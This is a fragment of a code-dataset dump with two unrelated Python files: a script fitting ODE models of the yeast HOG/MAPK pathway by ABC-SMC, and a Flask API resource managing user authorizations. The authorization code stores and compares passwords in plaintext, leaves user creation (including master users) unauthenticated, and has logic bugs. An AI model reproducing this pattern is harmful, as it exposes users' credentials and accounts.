5, 10, 15, 20, 25, 30, 60, 90, 120, 150, 180, 240, 300]\n\n mapk_time, map2k_wt_data = load_csv_data(pbs2_folder)\n mapk_time, map2k_t100a_data = load_csv_data(pbs2_t100a_folder)\n mapk_ramp_time, hog1_ramp_data = load_csv_data(hog1_ramp_folder)\n mapk_time, mapk_ptpD_data = load_csv_data(ptpD_folder)\n # mapk_time, sho1_wt_data = load_csv_data(ssk1D_folder)\n # mapk_time, sln1_wt_data = load_csv_data(sho1DD_folder)\n data = [mapk_wt_data, mapk_t100a_data, map2k_wt_data, map2k_t100a_data, hog1_ramp_data, mapk_ptpD_data]\n time = [mapk_time, mapk_time_t100a_long, mapk_ramp_time]\n return data, time\n\ndef load_csv_data(folder):\n data = []\n for csv in pathlib.Path(folder).glob('*.csv'):\n f_data = pd.read_csv(csv)\n time = f_data['Time'].tolist()\n f_data=f_data.set_index('Time')\n f_data = f_data.mean(axis=1)\n f_data = f_data.tolist()\n data.append(f_data)\n return time, data\n\ndef molarity_conversion(molecules):\n Na = 6.02214076*10**23\n cell_volume = 44 # volume of a yeast cell\n return molecules/(Na*cell_volume*10**-15)*1000000 # returns uM\n\nclass Model():\n def __init__(self, m, t100a, nopos=None, inhib=None):\n self.m = m\n self.t100a = t100a\n self.nopos = nopos\n self.inhib = inhib\n\n\ndef M2c_kb(initials,t,total_protein,sig,params,run_type=None):\n # print(initials)\n # if run_type:\n # if run_type[0] == 'ramp':\n # sig = signal_ramp_special(t)\n # elif run_type[0] == 'rand':\n # sig = get_ramp_signal(t, run_type[1])\n # elif run_type[0] == 'man':\n # sig = get_manual_signal(t)\n\n MAP3K, MAP2K, MAPK, gly = initials\n MAP3K_t, MAP2K_t, MAPK_t, _ = total_protein\n beta_3, alpha, kb, k1, k3, k5, s7, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6 = params #17\n\n MAP3K_I = MAP3K_t-MAP3K\n MAP2K_I = MAP2K_t-MAP2K\n MAPK_I = MAPK_t-MAPK\n\n dMAP3K = (((sig*k1 + kb)/(1+gly/beta_3))*MAP3K_I)/(K_1+MAP3K_I) - (k2*MAP3K/(K_2+MAP3K))\n dMAP2K = (((k3)*MAP3K*MAP2K_I)/(K_3+MAP2K_I)) - (k4*MAP2K/(K_4+MAP2K))\n dMAPK = (((k5*MAP2K + MAPK*alpha))*MAPK_I)/(K_5+MAPK_I) - (k6*MAPK)/(K_6+MAPK) #bug\n dgly = s7*MAPK - d8*gly\n return dMAP3K, dMAP2K, dMAPK, dgly\n\ndef simulate_t100a_experiment_M2a_kb(m, inits, total_protein, sig, learned_params, time, run_type=None):\n beta_3, alpha, kb, k1, k3, k5, s7, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6 = learned_params #17\n learned_params = beta_3, 0, kb, k1, k3, k5, 0, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6\n #solve odes:\n odes = odeint(m, inits, time, args=(total_protein, sig, learned_params, run_type))\n return odes\n\ndef simulate_nopos_experiment_M2a_kb(m, inits, total_protein, sig, learned_params, time, run_type=None):\n beta_3, alpha, kb, k1, k3, k5, s7, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6 = learned_params #17\n learned_params = beta_3, 0, kb, k1, k3, k5, s7, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6\n #solve odes:\n odes = odeint(m, inits, time, args=(total_protein, sig, learned_params, run_type))\n return odes\n\ndef M2c_kb_on_off(initials,t,total_protein,sig,params, run_type=None):\n # if run_type:\n # if run_type[0] == 'ramp':\n # sig = signal_ramp_special(t)\n # elif run_type[0] == 'rand':\n # sig = get_ramp_signal(t, run_type[1])\n # elif run_type[0] == 'man':\n # sig = get_manual_signal(t)\n MAP3K, MAP2K, MAPK, gly = initials\n MAP3K_t, MAP2K_t, MAPK_t, _ = total_protein\n beta_3, alpha, kb, k1, k3, k5, s7, k2, k4, k6, d8, K_1, K_3, K_5, K_2, K_4, K_6 = params #17\n\n if t > 5:\n alpha = 0\n s7 = 0\n\n MAP3K_I = MAP3K_t-MAP3K\n MAP2K_I = MAP2K_t-MAP2K\n MAPK_I = MAPK_t-MAPK\n # PTP_I = PTP_t-PTP\n dMAP3K = (((sig*k1 + kb)/(1+gly/beta_3))*MAP3K_I)/(K_1+MAP3K_I) - (k2*MAP3K/(K_2+MAP3K))\n dMAP2K = (((k3*MAP3K)*MAP2K_I)/(K_3+MAP2K_I)) - (k4*MAP2K/(K_4+MAP2K))\n dMAPK = ((k5*MAP2K + MAPK*alpha)*MAPK_I)/(K_5+MAPK_I) - (k6*MAPK)/(K_6+MAPK)\n dgly = s7*MAPK - d8*gly\n return dMAP3K, dMAP2K, dMAPK, dgly\n\ndef run_ss(m, inits, total_protein, learned_params):\n ss = fsolve(m, inits, args=(0,total_protein, 0, learned_params))\n return ss\n\ndef simulate_wt_experiment(m, inits, total_protein, sig, learned_params, time, run_type=None):\n odes = odeint(m, inits, time, args=(total_protein, sig, learned_params, run_type))\n return odes\n\ndef calc_mse(model_fxns, theta, exp_data, exp_time, params_constants, initials, ptpD=False):\n mse = calc_sim_score(model_fxns, theta, exp_data, exp_time, params_constants, initials, ptpD)[:18]\n return sum(mse) ##AMY (insert your own error function)\n\ndef calc_sim_score(model_fxns, params, data, exp_time, total_protein, inits, ptpD=True):\n# params = convert_individual(learned_params, arr_conversion_matrix, number_of_params)\n mapk_wt_data, mapk_t100a_data, map2k_wt_data, map2k_t100a_data, hog1_ramp_data, mapk_ptpD_data = data\n # mapk_data_t100a_long = [mapk_t100a_data[0]]\n mapk_time, mapk_time_t100a_long, mapk_ramp_time = exp_time\n hog1_doses = [0, 50000, 150000, 250000, 350000, 450000, 550000]\n wt_ss_inits = run_ss(model_fxns.m, inits, total_protein, params)\n dt = 0.1\n steps = 601\n time = np.linspace(0,dt*steps,steps)\n time_long = np.linspace(0,dt*3001,steps)\n closest_idxs_mapk = [np.abs(time - t).argmin() for t in mapk_time]\n closest_idxs_t100a_long = [np.abs(time_long - t).argmin() for t in mapk_time_t100a_long]\n closest_idxs_ramp_time = [np.abs(time - t).argmin() for t in mapk_ramp_time]\n mse_total = 0\n if ptpD:\n mses = np.zeros(23)\n ptp_doses = [0, 150000, 350000, 550000]\n ptpD_total_protein = total_protein[:-1] + [0]\n ptpD_inits = inits[:-1] + [0]\n ptpD_ss_inits = run_ss(model_fxns.m, ptpD_inits, ptpD_total_protein, params)\n for i, (dose, data) in enumerate(zip(ptp_doses, mapk_ptpD_data), 19):\n odes = simulate_wt_experiment(model_fxns.m, ptpD_ss_inits, ptpD_total_protein, dose, params, time)\n mapk = odes[:,2]/total_protein[2]*100\n mses[i] = ((data - mapk[closest_idxs_mapk])**2).mean()\n mse_total += mses[i]\n else:\n mses = np.zeros(19)\n for i, (dose, data) in enumerate(zip(hog1_doses, mapk_wt_data), 0):\n odes = simulate_wt_experiment(model_fxns.m, wt_ss_inits, total_protein, dose, params, time)#mapk_time)\n mapk = odes[:,2]/total_protein[2]*100\n mses[i] = ((data - mapk[closest_idxs_mapk])**2).mean()\n mse_total += mses[i]\n if dose == 150000:\n map2k = odes[:,1]/total_protein[1]*100\n mses[14] = ((map2k_wt_data[0] - map2k[closest_idxs_mapk])**2).mean()\n mse_total += mses[14]\n elif dose == 550000:\n map2k = odes[:,1]/total_protein[1]*100\n mses[15] = ((map2k_wt_data[1] - map2k[closest_idxs_mapk])**2).mean()\n mse_total += mses[15]\n for i, (dose, data) in enumerate(zip(hog1_doses, mapk_t100a_data), 7):\n if dose == 0:\n odes = model_fxns.t100a(model_fxns.m, wt_ss_inits, total_protein, dose, params, time_long)\n mapk = odes[:,2]/total_protein[2]*100\n mses[i] = ((data - mapk[closest_idxs_t100a_long])**2).mean()\n mse_total += mses[i]\n else:\n odes = model_fxns.t100a(model_fxns.m, wt_ss_inits, total_protein, dose, params, time)\n mapk = odes[:,2]/total_protein[2]*100\n mses[i] = ((data - mapk[closest_idxs_mapk])**2).mean()\n mse_total += mses[i]\n # Pbs2\n if dose == 150000:\n map2k = odes[:,1]/total_protein[1]*100\n mses[16] = ((map2k_t100a_data[0] - map2k[closest_idxs_mapk])**2).mean()\n mse_total += mses[16]\n elif dose == 550000:\n map2k = odes[:,1]/total_protein[1]*100\n mses[17] = ((map2k_t100a_data[1] - map2k[closest_idxs_mapk])**2).mean()\n mse_total += mses[17]\n # for data in hog1_ramp_data:\n # odes = simulate_wt_experiment(model_fxns.m, wt_ss_inits, total_protein, 0, params, time, run_type=['ramp'])\n # mapk = odes[:,2]/total_protein[2]*100\n # mses[18] = ((data - mapk[closest_idxs_ramp_time])**2).mean()\n return mses\n\ndef draw_theta2():\n return 10**(-4+(4-(-4))*np.random.random(17))#np.random.uniform(.0001,1000,17)\n\ndef draw_thetas2(thetas, weights):\n return\n\ndef step_theta(theta):\n log_theta = np.log10(theta)\n theta_prime = np.concatenate([10**(np.random.uniform(x-.1,x+.1,1)) for x in log_theta], axis=0)\n return theta_prime\n\ndef run_schedule_1(ei, num_theta_primes, model_fxns):\n thetas_ei = []\n mses_ei = []\n c = collections.Counter({'Pass': 0, 'Fail': 0})\n while len(thetas_ei) < num_theta_primes:\n theta_prime = draw_theta2()\n# theta = draw_thetas(prior_thetas, probs)\n# theta_prime = step_theta(theta)\n mse = calc_mse(model_fxns, theta_prime, exp_data, exp_time, params_constants, initials, ptpD=False) ##AMY error fxn\n if mse < ei:\n print(\"pass\")\n print(mse)\n c['Pass'] += 1\n thetas_ei.append(theta_prime)\n mses_ei.append(mse)\n # if len(mses_ei) % int(num_theta_primes*.1) == 0:\n # print(str(int(len(mses_ei)/num_theta_primes*100)) + \"% complete.\")\n else:\n c['Fail'] += 1\n return np.asarray(mses_ei), np.asarray(thetas_ei), c\n\ndef run_schedule_i(ei, num_theta_primes, model_fxns):\n thetas_ei = []\n mses_ei = []\n c = collections.Counter({'Pass': 0, 'Fail': 0})\n while len(thetas_ei) < num_theta_primes:\n theta_prime = draw_theta2()\n# theta = draw_thetas(prior_thetas, probs)\n# theta_prime = step_theta(theta)\n mse = calc_mse(model_fxns, theta_prime, exp_data, exp_time, params_constants, initials, ptpD=False) ##AMY error fxn\n if mse < ei:\n c['Pass'] += 1\n thetas_ei.append(theta_prime)\n mses_ei.append(mse)\n if len(mses_ei) % int(num_theta_primes*.1) == 0:\n print(str(int(len(mses_ei)/num_theta_primes*100)) + \"% complete.\")\n else:\n c['Fail'] += 1\n c.keys\n return np.asarray(mses_ei), np.asarray(thetas_ei), np.asarray(c)\n\ndef check_dir_exist():\n stripped_name = strip_filename(save_filename)\n print(stripped_name)\n # informed_name = add_info(stripped_name, number_of_generations, number_of_individuals, mutation_rate, crossover_rate)\n # fn_to_use = informed_name\n dir_to_use = os.getcwd() + '/' + stripped_name\n #check if dir exists and make\n if not os.path.isdir(dir_to_use):\n os.makedirs(dir_to_use)\n fn = dir_to_use + '/' + 'output.txt'\n file = open(fn, 'w')\n script_name = os.path.basename(__file__)#__file__)\n open_script = open(script_name, 'r')\n write_script = open_script.read()\n file.write(write_script)\n open_script.close()\n\n file.close()\n return dir_to_use, stripped_name\n\ndef get_filename(dir_to_use, stripped_name, val):\n filename_base = dir_to_use + '/' + stripped_name + '_'\n if val < 10:\n toret = '000' + str(val)\n elif 10 <= val < 100:\n toret = '00' + str(val)\n elif 100 <= val < 1000:\n toret = '0' + str(val)\n else:\n toret = str(val)\n return filename_base + toret + '.hdf5'\n\ndef strip_filename(fn):\n #input = full path filename\n #output = filename only\n #EX input = '/home/iammoresentient/phd_lab/data/data_posnegfb_3cellsum.pickled'\n #EX output = 'data_posnegfb_3cellsum'\n if '/' in fn:\n fn = fn.split('/')[-1]\n fn = fn.split('.')[0]\n return fn\n\ndef add_info(fn, gens, inds, mutationrate, crossoverrate):\n #input = filename only\n #output = date + filename + EA data\n # EX input = 'data_posnegfb_3cellsum'\n # EX output = '170327_data_posnegfb_3cellsum_#g#i#m#c'\n\n #get current date:\n cur_date = timeski.strftime('%y%m%d')\n # setup EA data:\n ea_data = str(gens) + 'g' + str(inds) + 'i' + str(int(mutationrate*100)) + 'm' + str(int(crossoverrate*100)) + 'c'\n #put it all together:\n #new_fn = cur_date + '_' + fn + '_' + ea_data\n new_fn = cur_date + '_' + os.path.basename(fn).split('.')[0].split('_')[-1] + '_' + ea_data\n return new_fn\n\ndef data_to_hdf5(dir_to_use, stripped_name, mses, thetas, c):\n # arr_to_hdf5 = [arr_best_score, arr_best_ind]\n counter = 0\n filename = get_filename(dir_to_use, stripped_name, counter)\n while os.path.isfile(filename) == True:\n counter += 1\n filename = get_filename(dir_to_use, counter)\n print(filename)\n with h5py.File(filename, 'w') as f:\n f.create_dataset(\"mses\", data = mses)\n f.create_dataset(\"thetas\", data = thetas)\n f.create_dataset(\"count\", data=c)\n\ndef main(theta_file):\n dir_to_use, stripped_name = check_dir_exist()\n # thetas_e4_sort = np.array(pd.read_csv(theta_file).drop(['Unnamed: 0'], axis=1))\n e1 = 3207.2168047024957\n # e1 = 200000\n M2c_fxns = Model(M2c_kb, simulate_t100a_experiment_M2a_kb, simulate_nopos_experiment_M2a_kb, M2c_kb_on_off)\n ABC_SMC_mses1, ABC_SMC_thetas1, ABC_SMC_c1 = run_schedule_1(e1, 1000, M2c_fxns)\n data_to_hdf5(dir_to_use, stripped_name, ABC_SMC_mses1, ABC_SMC_thetas1, ABC_SMC_c1)\n\n\nif __name__ == '__main__':\n exp_data, exp_time = get_data()\n\n MAP3K_t = molarity_conversion(701)\n MAP2K_t = molarity_conversion(2282)\n MAPK_t = molarity_conversion(5984)\n PTP_t = molarity_conversion(118+400) # including ptc1\n\n MAP3K = 0.05*MAP3K_t # estimated (so not 0)\n MAP2K = 0.05975380333*MAP2K_t # from the biological data\n MAPK = 0.00540042381*MAPK_t # from the biological data\n gly = 0.00001 # placeholder (so not 0)\n PTP = molarity_conversion(118+400) # start with all on\n\n # doses\n hog1_doses = [0, 50000, 150000, 250000, 350000, 450000, 550000]\n # pbs2_doses = [150000, 550000]\n ptp_doses = [0, 150000, 550000]\n initials = [MAP3K, MAP2K, MAPK, gly]\n params_constants = [MAP3K_t, MAP2K_t, MAPK_t, 550000*2] #uM, except for gly (1) which is a placeholder for multiplying arrays together\n save_filename = '200117_kb_abc_smc_test1.txt'\n main(\"C:/Users/sksuzuki/Documents/GitHub/HOG_encoding_feedbacks/ode_modeling/final_models/M2b_kb_thetas_e4.csv\")\n # main(\"/nas/longleaf/home/sksuzuki/HOG_model/thetas/M2b_kb_thetas_e4.csv\")\n", "sub_path": "python_modules/ABC_SMC/abc_smc.py", "file_name": "abc_smc.py", "file_ext": "py", "file_size_in_byte": 15923, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 93, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 100, "usage_type": "call"}, {"api_name": "scipy.optimize.fsolve", "line_number": 130, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 209, "usage_type": "attribute"}, {"api_name": "numpy.log10", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 216, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 238, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 258, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path", "line_number": 267, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 268, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path", "line_number": 321, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 325, "usage_type": "call"}]} {"seq_id": "145487355", "text": "# -*- coding: utf-8 -*-\n\nfrom flask.ext.restful import reqparse\nfrom flask.ext.restplus import Resource, abort\n\nfrom db.model.application import Application\nfrom db.model.service import Service\nfrom db.model.user import User\nfrom iwatchit import auth_ns, auth_model, api, db, auth\nfrom db.model.authorization import Authorization as Auth\nfrom resources.utils.request import get_request_authorization_username\n\nparser_delete = api.parser()\nparser_delete.add_argument('username', help='The authorization record username', type=str, required=True)\nparser_delete.add_argument('application', help='The application the authorization applies to', type=str, required=True)\n\nparser_get = api.parser()\nparser_get.add_argument('username', help='The authorization records username', type=str, required=True)\nparser_get.add_argument('application', help='The application the authorization applies to', type=str, required=False)\n\nparser_put = reqparse.RequestParser()\nparser_put.add_argument('hostname', type=str, required=False)\nparser_put.add_argument('port', type=int, required=False)\nparser_put.add_argument('username', type=str, required=True)\nparser_put.add_argument('password', type=str, required=True)\nparser_put.add_argument('application', type=str, required=True)\n\n@auth_ns.route('/authorization')\nclass Authorization(Resource):\n @api.doc(parser=parser_get,\n responses={\n 200: \"OK\",\n 204: \"No record retrieved\",\n 401: \"Unauthorized. Cannot get authorizations of other users\"\n })\n @auth.login_required\n def get(self):\n login_username = get_request_authorization_username()\n args = parser_get.parse_args()\n username = args.get('username')\n if username != login_username:\n abort(400, 'Unauthorized. Cannot delete authorizations of other users')\n application = args.get('application')\n auths = self._get_auth(username=username, application=application)\n res = [self._jsonify_auth(a) for a in auths]\n return (res, 200,) if len(res) > 0 else (res, 204,)\n\n # noinspection PyTypeChecker\n @api.expect(auth_model)\n @api.doc(responses={\n 201: \"Authorization created\",\n 400: \"Bad request. Verify fields\",\n 500: \"Internal server error\"\n })\n def put(self):\n args = parser_put.parse_args()\n # check if not already an authorization record for the username and the application\n existing_auth = Auth.query.join(Service).join(Application).join(User) \\\n .filter(User.username == args.username) \\\n .filter(Application.name == args.application)\n if existing_auth.count() > 0:\n abort(400, '{} already exists. There can be only one authorization record per username/application'.format(str(existing_auth[0])))\n # check if the authorization is not already in DB\n exact_auth = Auth.query.join(Service).join(Application).join(User) \\\n .filter(User.username == args.username) \\\n .filter(Application.name == args.application) \\\n .filter(Service.hostname == args.hostname) \\\n .filter(Service.port == args.port)\n if exact_auth.count() <= 0:\n return self._jsonify_auth(self._add_authorization(args)), 201\n else:\n return self._jsonify_auth(exact_auth[0]), 200\n\n @api.expect(auth_model)\n @api.doc(responses={\n 200: \"Authorization modified\",\n 500: \"Internal server error\",\n 501: \"Not implemented\"\n })\n def post(self):\n abort(501, 'Update of an authorization record is not implemented')\n\n # noinspection PyMethodMayBeStatic\n @api.doc(parser=parser_delete,\n responses={200: \"Authorization deleted\",\n 400: \"Bad request. Check the username/application specified\",\n 401: \"Unauthorized. Cannot delete authorizations of other users\"})\n @auth.login_required\n def delete(self):\n login_username = get_request_authorization_username()\n args = parser_delete.parse_args()\n username = args.get('username')\n if username != login_username:\n abort(400, 'Unauthorized. Cannot delete authorizations of other users')\n application = args.get('application')\n auths = self._get_auth(username=username, application=application)\n if auths.count() == 0:\n abort(400, 'No authorization record found for user <{}> and application <{}>'.format(username, application))\n [db.session.delete(a) for a in auths]\n db.session.commit()\n return None, 200\n\n # noinspection PyMethodMayBeStatic\n def _jsonify_auth(self, auth):\n return {'username': str(User.query.filter(User.id == auth.user_id)[0]),\n 'service': str(Service.query.filter(Service.id == auth.service_id)[0])}\n\n def _add_authorization(self, args):\n # check if application exists\n all_app = Application.query.all()\n app = Application.query.filter(Application.name == args.application)\n if app.count() == 0:\n abort(400, 'Application {} does not exist. It must be one of {}'\n .format(args.application, [a.name for a in all_app]))\n # check if user exists\n if app[0].name == 'authorization':\n # authorization user is the master user used for all API authorizations\n u = User.query.filter(User.username == args.username,\n User.password == args.password,\n User.master is True)\n master = True\n else:\n u = User.query.filter(User.username == args.username,\n User.password == args.password)\n master = False\n if u.count() <= 0:\n u = self._add_user(args.username, args.password, master)\n else:\n u = u[0]\n # check if service exists\n s = Service.query\\\n .filter(Service.application == args.application)\\\n .filter(Service.hostname == args.hostname)\\\n .filter(Service.port == args.port)\n if s.count() <= 0:\n s = self._add_service(application=args.application,\n hostname=args.hostname,\n port=args.port)\n else:\n s = s[0]\n a = Auth(user_id=u.id, service_id=s.id)\n db.session.add(a)\n db.session.commit()\n return a\n\n # noinspection PyMethodMayBeStatic\n def _add_user(self, username, password, master=False):\n u = User(username=username, password=password, master=master)\n db.session.add(u)\n db.session.commit()\n return u\n\n # noinspection PyMethodMayBeStatic\n def _add_service(self, application, hostname, port):\n s = Service(application=application, hostname=hostname, port=port)\n db.session.add(s)\n db.session.commit()\n return s\n\n # noinspection PyMethodMayBeStatic\n def _get_auth(self, username, application=None):\n if application is not None:\n return Auth.query.join(Service).join(User)\\\n .filter(Service.application == application)\\\n .filter(User.username == username)\n else:\n return Auth.query.join(User).filter(User.username == username)\n", "sub_path": "resources/api/authorization.py", "file_name": "authorization.py", "file_ext": "py", "file_size_in_byte": 7359, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "iwatchit.api.parser", "line_number": 13, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 13, "usage_type": "name"}, {"api_name": "iwatchit.api.parser", "line_number": 17, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.ext.restful.reqparse.RequestParser", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.ext.restful.reqparse", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.ext.restplus.Resource", "line_number": 29, "usage_type": "name"}, {"api_name": "resources.utils.request.get_request_authorization_username", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.ext.restplus.abort", "line_number": 42, "usage_type": "call"}, {"api_name": "iwatchit.api.doc", "line_number": 30, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 30, "usage_type": "name"}, {"api_name": "iwatchit.auth.login_required", "line_number": 36, "usage_type": "attribute"}, {"api_name": "iwatchit.auth", "line_number": 36, "usage_type": "name"}, {"api_name": "db.model.user.User", "line_number": 58, "usage_type": "argument"}, {"api_name": "db.model.application.Application", "line_number": 58, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query.join", "line_number": 58, "usage_type": "call"}, {"api_name": "db.model.service.Service", "line_number": 58, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query", "line_number": 58, "usage_type": "attribute"}, {"api_name": "db.model.authorization.Authorization", "line_number": 58, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 59, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 59, "usage_type": "name"}, {"api_name": "db.model.application.Application.name", "line_number": 60, "usage_type": "attribute"}, {"api_name": "db.model.application.Application", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.ext.restplus.abort", "line_number": 62, "usage_type": "call"}, {"api_name": "db.model.user.User", "line_number": 64, "usage_type": "argument"}, {"api_name": "db.model.application.Application", "line_number": 64, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query.join", "line_number": 64, "usage_type": "call"}, {"api_name": "db.model.service.Service", "line_number": 64, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query", "line_number": 64, "usage_type": "attribute"}, {"api_name": "db.model.authorization.Authorization", "line_number": 64, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 65, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 65, "usage_type": "name"}, {"api_name": "db.model.application.Application.name", "line_number": 66, "usage_type": "attribute"}, {"api_name": "db.model.application.Application", "line_number": 66, "usage_type": "name"}, {"api_name": "db.model.service.Service.hostname", "line_number": 67, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 67, "usage_type": "name"}, {"api_name": "db.model.service.Service.port", "line_number": 68, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 68, "usage_type": "name"}, {"api_name": "iwatchit.api.expect", "line_number": 49, "usage_type": "call"}, {"api_name": "iwatchit.auth_model", "line_number": 49, "usage_type": "argument"}, {"api_name": "iwatchit.api", "line_number": 49, "usage_type": "name"}, {"api_name": "iwatchit.api.doc", "line_number": 50, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.ext.restplus.abort", "line_number": 81, "usage_type": "call"}, {"api_name": "iwatchit.api.expect", "line_number": 74, "usage_type": "call"}, {"api_name": "iwatchit.auth_model", "line_number": 74, "usage_type": "argument"}, {"api_name": "iwatchit.api", "line_number": 74, "usage_type": "name"}, {"api_name": "iwatchit.api.doc", "line_number": 75, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 75, "usage_type": "name"}, {"api_name": "resources.utils.request.get_request_authorization_username", "line_number": 90, "usage_type": "call"}, {"api_name": "flask.ext.restplus.abort", "line_number": 94, "usage_type": "call"}, {"api_name": "flask.ext.restplus.abort", "line_number": 98, "usage_type": "call"}, {"api_name": "iwatchit.db.session.delete", "line_number": 99, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 99, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 99, "usage_type": "name"}, {"api_name": "iwatchit.db.session.commit", "line_number": 100, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 100, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 100, "usage_type": "name"}, {"api_name": "iwatchit.api.doc", "line_number": 84, "usage_type": "call"}, {"api_name": "iwatchit.api", "line_number": 84, "usage_type": "name"}, {"api_name": "iwatchit.auth.login_required", "line_number": 88, "usage_type": "attribute"}, {"api_name": "iwatchit.auth", "line_number": 88, "usage_type": "name"}, {"api_name": "db.model.user.User.query.filter", "line_number": 105, "usage_type": "call"}, {"api_name": "db.model.user.User.query", "line_number": 105, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 105, "usage_type": "name"}, {"api_name": "db.model.user.User.id", "line_number": 105, "usage_type": "attribute"}, {"api_name": "iwatchit.auth.user_id", "line_number": 105, "usage_type": "attribute"}, {"api_name": "iwatchit.auth", "line_number": 105, "usage_type": "name"}, {"api_name": "db.model.service.Service.query.filter", "line_number": 106, "usage_type": "call"}, {"api_name": "db.model.service.Service.query", "line_number": 106, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 106, "usage_type": "name"}, {"api_name": "db.model.service.Service.id", "line_number": 106, "usage_type": "attribute"}, {"api_name": "iwatchit.auth.service_id", "line_number": 106, "usage_type": "attribute"}, {"api_name": "iwatchit.auth", "line_number": 106, "usage_type": "name"}, {"api_name": "db.model.application.Application.query.all", "line_number": 110, "usage_type": "call"}, {"api_name": "db.model.application.Application.query", "line_number": 110, "usage_type": "attribute"}, {"api_name": "db.model.application.Application", "line_number": 110, "usage_type": "name"}, {"api_name": "db.model.application.Application.query.filter", "line_number": 111, "usage_type": "call"}, {"api_name": "db.model.application.Application.query", "line_number": 111, "usage_type": "attribute"}, {"api_name": "db.model.application.Application", "line_number": 111, "usage_type": "name"}, {"api_name": "db.model.application.Application.name", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.ext.restplus.abort", "line_number": 113, "usage_type": "call"}, {"api_name": "db.model.user.User.query.filter", "line_number": 118, "usage_type": "call"}, {"api_name": "db.model.user.User.query", "line_number": 118, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 118, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 118, "usage_type": "attribute"}, {"api_name": "db.model.user.User.password", "line_number": 119, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 119, "usage_type": "name"}, {"api_name": "db.model.user.User.master", "line_number": 120, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 120, "usage_type": "name"}, {"api_name": "db.model.user.User.query.filter", "line_number": 123, "usage_type": "call"}, {"api_name": "db.model.user.User.query", "line_number": 123, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 123, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 123, "usage_type": "attribute"}, {"api_name": "db.model.user.User.password", "line_number": 124, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 124, "usage_type": "name"}, {"api_name": "db.model.service.Service.query.filter", "line_number": 131, "usage_type": "call"}, {"api_name": "db.model.service.Service.query", "line_number": 131, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 131, "usage_type": "name"}, {"api_name": "db.model.service.Service.application", "line_number": 132, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 132, "usage_type": "name"}, {"api_name": 